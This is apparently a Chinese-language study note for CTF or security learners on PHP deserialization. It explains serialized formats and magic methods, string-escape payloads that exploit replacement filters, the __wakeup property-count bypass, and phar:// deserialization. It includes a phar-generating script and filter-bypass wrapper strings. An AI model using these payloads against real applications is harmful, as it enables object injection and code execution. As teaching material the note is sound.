php

反序列化 #

序列化其实就是将数据转化成一种可逆的数据结构,自然,逆向的过程就叫做反序列化。

两个函数

serialize 将对象格式化成有序的字符串

unserialize 将字符串还原成原来的对象

<?php
class test{
    public $a;
    public $b;
    function __construct(){$this->a = "xiaoshizi";$this->b="laoshizi";}
    function happy(){return $this->a;}
}
$a = new test();
echo serialize($a);
?>

输出

O:4:"test":2:{s:1:"a";s:9:"xiaoshizi";s:1:"b";s:8:"laoshizi";}

序列化后字符串的格式

O:4:"对象名":变量数量:{s:变量名长度:"变量名";s:变量值长度:"变量值";s:1:"b";s:8:"laoshizi";}

修饰符 #

如果变量前的修饰符是protected或private,先将代码的修饰符改为public进行序列化,再做修改

private           =>%00class_name%00name    长度+类名长度+2
protected         =>%00*%00name             长度+3

php7.1+不敏感

常见的魔术方法

__wakeup() //执行unserialize()时,先会调用这个函数
__sleep() //执行serialize()时,先会调用这个函数
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据或者不存在这个键都会调用此方法
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当尝试将对象调用为函数时触发

字符串逃逸 #

<?php
function repl($s){
    return str_replace('flag', 'hack!', $s);
}
class A{
    public $user='admin';
    public $pwd='123456';
}
$a=new A();
$u=serialize($a);
echo $u.'            ';
$b=unserialize($u);
echo $b->user.'          '.$b->pwd;
?>

输出,没问题

O:1:"A":2:{s:4:"user";s:5:"admin";s:3:"pwd";s:6:"admin1";}            admin          123456

在反序列化的时候php会根据s所指定的字符长度去读取后边的字符。如果指定的长度s错误则反序列化就会失败。

当我们将user设置为";s:4:“pass”;s:6:“admin1”;}

长度为27

因为flag被替换成了hack!,字符增长,导致提前闭合,后面的自然抛弃了

<?php
function repl($s){
    return str_replace('flag', 'hack!', $s);
}
class A{
    public $user='flagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflagflag";s:3:"pwd";s:6:"admin1";}';
    public $pwd='123456';
}
$a=new A();
$u=repl(serialize($a));
echo $u.'            ';
$b=unserialize($u);
echo $b->user.'          '.$b->pwd;
?>

输出

O:1:"A":2:{s:4:"user";s:130:"hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!";s:3:"pwd";s:6:"admin1";}";s:3:"pwd";s:6:"123456";}            

hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!hack!          
admin1

还有一种字符变少的情况

<?php
function str_rep($string){
	return preg_replace( '/php|flag/','', $string);
}

$test['name'] = 'flagflagflagflagflagflag';
$test['sign'] = 'hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}'; 
$test['number'] = '2020';
$temp = str_rep(serialize($test));
printf($temp);
$fake = unserialize($temp);
echo '<br>';
print("name:".$fake['name'].'<br>');
print("sign:".$fake['sign'].'<br>');
print("number:".$fake['number'].'<br>');
?>

输出,因为被替换成空,所以往后找24个字符

a:3:{s:4:"name";s:24:"";s:4:"sign";s:54:"hello";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}
name:";s:4:"sign";s:54:"hello
sign:eval
number:2000

__wakeup #

在反序列化的操作中,会检查一个叫__wakeup的方法

当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行

将要求序列化后为O:4:“Demo”:1:{s:4:“flag”;s:3:“111”;},xctf后有一个数字1,这个1是代表这个类有一个属性。wakeup()漏洞就是与整个属性个数值有关。当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

O:4:"Demo":2:{s:4:"flag";s:3:"111";}

pop链 #

pass

phar反序列化 #

Phar是将php文件打包而成的一种压缩文档,类似于Java中的jar包。它有一个特性就是phar文件会以序列化的形式储存用户自定义的meta-data。以扩展反序列化漏洞的攻击面,配合phar://协议使用。

利用条件

  • phar能够上传到服务器

  • 要有魔术方法作为“跳板”

  • 文件操作函数的参数可控,且:、/、phar等字样坏没有被过滤

生成phar文件

<?php 
class test{
	public $name='phpinfo();';
}
$phar=new phar('test.phar');//后缀名必须为phar
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER();?>");//设置stub
$obj=new test();
$phar->setMetadata($obj);//自定义的meta-data存入manifest
$phar->addFromString("flag.txt","flag");//添加要压缩的文件
//签名自动计算
$phar->stopBuffering();
?>

该方法在文件系统函数(file_exists()、is_dir()等)参数可控的情况下,配合phar://伪协议,可以不依赖unserialize()直接进行反序列化操作。

受到影响的函数

phar绕过

  • 文件类型:修改为png等可以上传的文件依旧可以触发

  • phar关键字检测:9.

    compress.zlib://绕过
    compress.bzip://phar:///test.phar/test.txt
    compress.bzip2://phar:///home/sx/test.phar/test.txt
    compress.zlib://phar:///home/sx/test.phar/test.txt
    php://filter/resource=phar:///test.phar/test.txt
    // 还可以使用伪协议的方法绕过
    php://filter/read=convert.base64-encode/resource=phar://phar.phar
    
  • __HALT_COMPILER特征检测:用gzip压缩后,修改为可以上传的文件格式

gzip flag.phar